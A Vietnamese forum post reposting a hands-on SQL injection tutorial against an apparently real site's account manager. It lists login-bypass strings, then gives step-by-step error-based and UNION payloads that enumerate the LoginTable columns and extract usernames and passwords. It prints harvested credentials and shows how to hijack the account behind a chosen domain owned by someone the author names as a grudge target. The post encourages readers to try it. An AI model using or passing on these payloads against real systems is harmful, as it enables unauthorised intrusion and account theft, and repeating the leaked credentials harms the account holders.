Hôm qua lang thand trên mạng tự nhiên thấy cái này, mình thử làm theo cách của nó đến đoạn cuối thì chịu, ko làm nối.... ai thử làm cái này đê
:
-------------------------
Quá trình hack 1 website bị Sql Injection :
Trong bài viết này, mình sẽ có kèm theo quá trình inject một website và lý thuyết cơ bản về SQL injection để các bạn có thể hiểu rõ hơn. Nhưng có lẽ là chỉ cho newbie thôi, khi nào rỗi tôi sẽ viết và hướng dẫn advance sql injection, tất nhiên có kèm theo một site để các bạn thực hành.
Chúng ta hãy bắt đầu :
Sql injection đang dần phổ biến hiện nay, và có lẽ lỗi nhiều nhất vẫn là ở các site MS SQl. Nó rất nguy hiểm, nó cho phép chúng ta login mà không cần username và password, remote execution, dump data và truy xuất username + password ra ngoài bằng cách input các query/command vào input trước khi chuyển cho ứng dụng web xử lí. Để thử xem site đó có bị lỗi hay không, bạn thử input vào các field username và pass bằng :
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
'or''='
và còn rất nhiều nữa mình không tiện viết ở đây. Rất có thể bạn sẽ login được vào với quyền admin hoặc một user nào đó. Nhưng ở bài viết này tôi nói đến cách truy xuất username và password ra ngoài để chúng ta mặc nhiên vào trong CP.
Ở đây, tôi sẽ lấy ra một site bất kỳ, nhưng khi bạn muốn tấn công một trang nào đó thì lại khác, bạn phải bỏ công ra tìm link nhiễm.
Mục tiêu tấn công :
http://www.naame.com/manageAccount/manaccount516.asp Bây giờ để xác định xem có bị SQL injection không, bạn thử input các lệnh tôi liệt kê ở trên, không by pass login được bạn input thử dấu ngoặc đơn '
kết quả :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '''.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
thế là biết mục tiêu bị lỗi rồi nhé, bây giờ việc cần làm là lấy được ra các table name của nó, dùng : 'having 1=1-- .Bạn hãy để ý thấy dâu --, vâng trong MS SQL, tất cả các thứ sau -- sẽ bị loại bỏ.
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Ok rồi : Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
Vậy là ta lấy được 1 table rồi đó. Bước tiếp theo :
'GROUP BY LoginTable.Account having 1=1--
Nó báo :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'LoginTable.UserName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Lại lấy được thêm một cột nữa rồi. Bạn thay vào : (thêm 1 cột và ngăn cách bằng dấu phẩy)
'GROUP BY LoginTable.Account, LoginTable.UserName having 1=1--
Bạn cứ làm thế để lấy các table của nó. Tôi đã lấy sẵn ra cho các bạn :
'group by LoginTable.Account, LoginTable.UserName, LoginTable.Password, LoginTable.DomainName, LoginTable.Credits, LoginTable.LoginType having 1=1--
Lấy được các table rồi thì làm gì Các các bạn nhìn vào cột "username" và "password" là thèm lắm rồi, muốn lấy ra ngay, híc, nhưng phải từ từ đã, đi đâu mà vội. Có được nó rồi, ta thử tìm một link bị lỗi (tìm nó trên thành address bằng cách thêm ' vào sau = hoặc =cái gì đó'). Nhưng mà ở trang này nó không có một link nào dính lỗi, thì ta lại dựa vào cái forum input vậy.
Ta thử nhé : (input vào field username và password rồi submit thử).
'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h'--
hì, chắc các bạn sẽ hỏi mấy cái thằng 1,1,1,1,1 là gì sao lại đặt ở đó, nói nôm na và dễ hiểu cho newbie luôn là các bạn đếm xem có bao nhiêu cột ngoại trừ cột Username và thay cho mỗi cột đó là 1 . thế thôi. Còn thằng UserName > 'h' à, nó sẽ "xuất" ra một username bất kỳ bắt đầu bằng letter 'h' .
Nó báo :
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'h20h20' to a column of data type int.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Cười tươi xem nào, có 1 thằng username làm cảnh rồi nhé. Muốn biết password của náo thì làm như sau :
'union select Password,1,1,1,1,1 from LoginTable where UserName = 'h20h20'--
ta thay sau UserName là dấu = 'username vừa lấy được'--
Nó báo :
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'legogame' to a column of data type int.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Hì, password là legogame kìa, bạn login đi, còn chờ gì nữa.
* Note :
Nếu bạn muốn lấy thêm nhiều username khác thì :
'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h20h20'--
nó sẽ lấy ra một username khác. Nếu bạn muốn username bắt đầu bằng B chẳng hạn, thì thay bằng 'b'-- thế thôi.
trong trường hợp bạn muốn tấn login vào một domain nào đó đinh trước thì thay cột DomainName vào cột UserName. Ví dụ , tôi ghét thằng maika, nó có cái domain là H0MES4RENT.com mua ở đó thì tôi muốn biết password của nó ta dùng :
'union select password,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'--
Nó báo :
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Hì password là joepinguelo rồi nhé, lại lấy username của nó đi :
'union select UserName,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'--
Kết quả :
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Và Username là joepinguelo
Login thử xem, Username : joepinguelo
Password : joepinguelo
-------------------------
Nếu ko phải dân có tí kiến thức về CNTT thì ai nhìn vào chắc xĩu ko